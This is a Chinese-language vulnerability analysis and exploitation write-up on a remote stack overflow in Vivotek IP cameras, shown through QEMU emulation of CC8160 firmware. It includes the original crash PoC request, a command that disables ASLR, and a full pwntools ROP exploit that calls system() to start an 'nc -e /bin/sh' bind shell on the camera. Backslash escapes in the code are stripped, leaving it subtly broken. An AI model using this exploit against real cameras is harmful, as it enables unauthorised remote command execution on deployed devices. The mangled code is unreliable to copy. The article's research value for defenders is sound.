Vivotek 攝像頭遠端棧溢位漏洞分析及利用
作者:fenix@知道創宇404實驗室
發表時間:2017年12月14日
前言
近日,Vivotek 旗下多款攝像頭被曝出遠端未授權棧溢位漏洞,攻擊者傳送特定資料可導致攝像頭程序崩潰。
漏洞作者@bashis 放出了可造成攝像頭 Crash 的 PoC :https://www.seebug.org/vuldb/ssvid-96866
該漏洞在 Vivotek 的攝像頭中廣泛存在,按照官方的安全公告,會影響以下版本
CC8160 CC8370-HV CC8371-HV CD8371-HNTV CD8371-HNVF2 FD8166A FD8166A-N FD8167A FD8167A-S FD8169A FD8169A-S FD816BA-HF2 FD816BA-HT FD816CA-HF2 FD8177-H FD8179-H FD8182-F1 FD8182-F2 FD8182-T FD8366-V FD8367A-V FD8369A-V FD836BA-EHTV FD836BA-EHVF2 FD836BA-HTV FD836BA-HVF2 FD8377-HV FD8379-HV FD8382-ETV FD8382-EVF2 FD8382-TV FD8382-VF2 FD9171-HT FD9181-HT FD9371-EHTV FD9371-HTV FD9381-EHTV FD9381-HTV FE8182 FE9181-H FE9182-H FE9191 FE9381-EHV FE9382-EHV FE9391-EV IB8360 IB8360-W IB8367A IB8369A IB836BA-EHF3 IB836BA-EHT IB836BA-HF3 IB836BA-HT IB8377-H IB8379-H IB8382-EF3 IB8382-ET IB8382-F3 IB8382-T IB9371-EHT IB9371-HT IB9381-EHT IB9381-HT IP8160 IP8160-W IP8166 IP9171-HP IP9181-H IZ9361-EH MD8563-EHF2 MD8563-EHF4 MD8563-HF2 MD8563-HF4 MD8564-EH MD8565-N SD9161-H SD9361-EHL SD9362-EH SD9362-EHL SD9363-EHL SD9364-EH SD9364-EHL SD9365-EHL SD9366-EH SD9366-EHL VS8100-V2
Vivotek 官方提供了各種型號攝像頭的韌體下載:http://www.vivotek.com/firmware/ ,這也為我們的研究帶來了很多便利。
我們發現,漏洞被曝出之後,在官網韌體下載頁面中的大多數韌體均早於漏洞曝出時間,我們下載了幾款攝像頭的最新韌體進行驗證,發現漏洞依然存在,這意味著截止漏洞被曝出,Vivotek 官方對該漏洞的修復並不徹底。眾所周知,棧溢位是存在潛在的遠端命令執行風險的,為了深入瞭解該漏洞的影響,我們決定研究下該漏洞的原理及利用。
除錯環境搭建
韌體下載
由於手頭上並沒有 Vivotek 的攝像頭,我們在官網下載其中一款攝像頭韌體,使用 qemu
模擬執行。(注:官方在陸續釋出各個版本的韌體更新,可根據韌體釋出時間判斷官方是否已經修復漏洞)
首先下載攝像頭韌體:http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip
通過 binwalk
直接解壓出其中的檔案系統,和漏洞有關的主要檔案如下
根據 file
命令的結果可知目標架構為 ARM
、小端、32位。且該 ELF 檔案為動態連結。
修復執行依賴
嘗試用 qemu
執行,結果如下
服務沒有執行起來,且沒有明顯的報錯,猜想到可能是缺少某些依賴,程式直接退出了,扔到 IDA,從程式退出前的提示:gethostbyname:: Success
,回溯程式異常退出原因。
依次載入IDA 選單欄 -> View -> Open subviews -> Strings,Command + F
gethostname
檢視交叉引用資訊,定位相應程式碼段
異常退出部分程式碼如下
為了看的更直觀,我們來貼一下 F5
的結果,如下
這部分主要涉及兩個函式。gethostname():返回本地主機的標準主機名,如果函式成功,則返回 0。如果發生錯誤則返回 -1。gethostbyname():用域名或主機名獲取IP地址。
Linux 作業系統的 hostname 是一個 kernel 變數,可以通過 hostname 命令來檢視本機的 hostname。也可以直接 cat /proc/sys/kernel/hostname
檢視。
我們只需要將二者改成一致,httpd 服務即可成功執行。
除錯環境
為了方便除錯,還需要搭建 qemu 虛擬機器環境。
qemu 映象檔案下載:https://people.debian.org/~aurel32/qemu/armel/ (下載核心 3.2 的版本)
遠端除錯 gdbserver:https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static
qemu 虛擬機器建議採用 橋接
方式和主機連線。
#!/bin/bash
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
啟動虛擬機器,進行簡單配置等待遠端除錯。
漏洞研究
定位溢位點
以下為漏洞作者 @bashis 提供的 PoC
echo -en "POST /cgi-bin/admin/upgrade.cgi
HTTP/1.0nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXXnrnrn" | ncat -v 192.168.57.20 80
老套路, 根據 Content-Length
很容易定位到溢位點,如下
驚訝到了,strncpy() 函式的長度引數竟然這麼用,妥妥的溢位。
呼叫棧佈局
dest
緩衝區起始地址距離棧底 0x38
位元組,棧上依次為 LR、R11-R4。Content-Length
長度超過 0x38 - 4 位元組就會覆蓋函式的返回地址 LR。
exp 研究
strncpy()
函式引起的棧溢位,在利用時就會有很 egg hurt 的 0x00
壞字元問題,如果我們的輸入資料中包含 0x00
,將會被截斷導致漏洞利用失敗。根據溢位點附近的彙編程式碼來看,0x0a
也會被截斷。且開啟了 NX
保護,這意味著我們無法在棧上部署 shellcode
。
嘗試通過 return2libc
的方式 getshell。由於沒有實際的攝像頭,我們不知道目標系統是否開啟了 ASLR
,如果 ASLR
是開啟的且沒有其它可用來暴露 libC
動態連結庫記憶體地址的漏洞,那麼利用該漏洞將會是一個很難受的過程。
採用以下方式暫時關閉 ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
libC
庫的載入地址如下
接下來就需要精心構造資料,劫持函式的執行流程了。有一點需要注意,X86 架構下的所有引數都是通過堆疊傳遞的,而在 MIPS 和 ARM 架構中,會優先通過暫存器傳遞引數,如果引數個數超過了暫存器的數量,則將剩下的引數壓入呼叫引數空間(即堆疊)。
從前面的分析來看,只要我們構造 0x38 - 4 位元組以上的資料,棧底的函式返回地址就會被我們劫持。system() 函式地址 = libC
庫在記憶體中的載入基址 + system() 函式在 libC
庫中的偏移,通過劫持該地址為 libC
庫中的 system() 函式地址,再設定 R0
暫存器指向命令字串,就可以執行任意命令。
經過驗證,nc
命令可以正常使用。
接下來我們開始構造 ROP
利用鏈,大致思路見以下彙編程式碼。
Github 上有個很讚的專案:https://github.com/JonathanSalwan/ROPgadget
它可以用來搜尋 ELF 檔案中的 gadgets,方便我們構造 ROP 鏈。
我們需要將字串引數 nc -lp2222 -e/bin/sh
部署到棧上,並且將地址存入 R0
。該引數包含 20 個位元組,且不含壞字元。
libC
基址為 0xb6f2d000
,由該地址可知 gadget 在記憶體中的有效地址。發生溢位時棧頂地址為 0xbeffeb50
。
利用 ROPgadget
搜尋可用的 gadgets,在選擇 gadget 時要還考慮壞字元的問題。比如說如下的 gadget 就不得行。
再搜尋一條可用的 gadget,俗稱曲線救國。
選擇以下兩條 gadget,構造 ROP
如下。
# 基於 qemu 模擬環境
# 攝像頭型號:Vivotek CC8160
# 0x00048784 : pop {r1, pc}
# 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}
#!/usr/bin/python
from pwn import *
libc_base = 0xb6f2d000 # libC 庫在記憶體中的載入地址
stack_base = 0xbeffeb70 # 崩潰時 SP 暫存器的地址
libc_elf = ELF('libuClibc-0.9.33.3-git.so')
payload = (0x38 - 4) * 'a' # padding
payload += p32(0x00048784 + libc_base) # gadget1
payload += p32(0x80 + stack_base) # 棧中命令引數地址
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * 'a') # padding
payload += p32(libc_elf.symbols['system'] + libc_base) # 記憶體中 system() 函式地址
payload += ('pwd;' * 0x100 + 'ncx20-lp2222x20-e/bin/shx20>') # 命令引數
payload = 'echo -en "POST /cgi-bin/admin/upgrade.cgi nHTTP/1.0nContent-Length:{}nrnrn" | nc -v 192.168.2.2 80'.format(payload)
通過除錯 ,我們可以獲得崩潰時的棧頂地址,為了確保命令能執行,我們在真正要執行的命令前加了部分命令作為緩衝。
可以看到,開啟了 NX
保護的棧上雖然不可執行程式碼,但是依然可以在上面部署資料。我們只需要將要執行的命令部署到棧上,構造 ROP 讓 R0 暫存器指向棧上的命令所在區域,然後 return2libC
呼叫系統函式,就可以執行任意命令了。
已將 PoC 和 EXP 整理成 Pocsuite 指令碼:https://www.seebug.org/vuldb/ssvid-96866,驗證效果如下。
致謝
第一次接觸 ARM
彙編,有很多不足之處,歡迎各大佬指正。中途踩了不少坑,感謝 404 小夥伴 @Hcamael 和 @沒有ID 的各種疑難解答。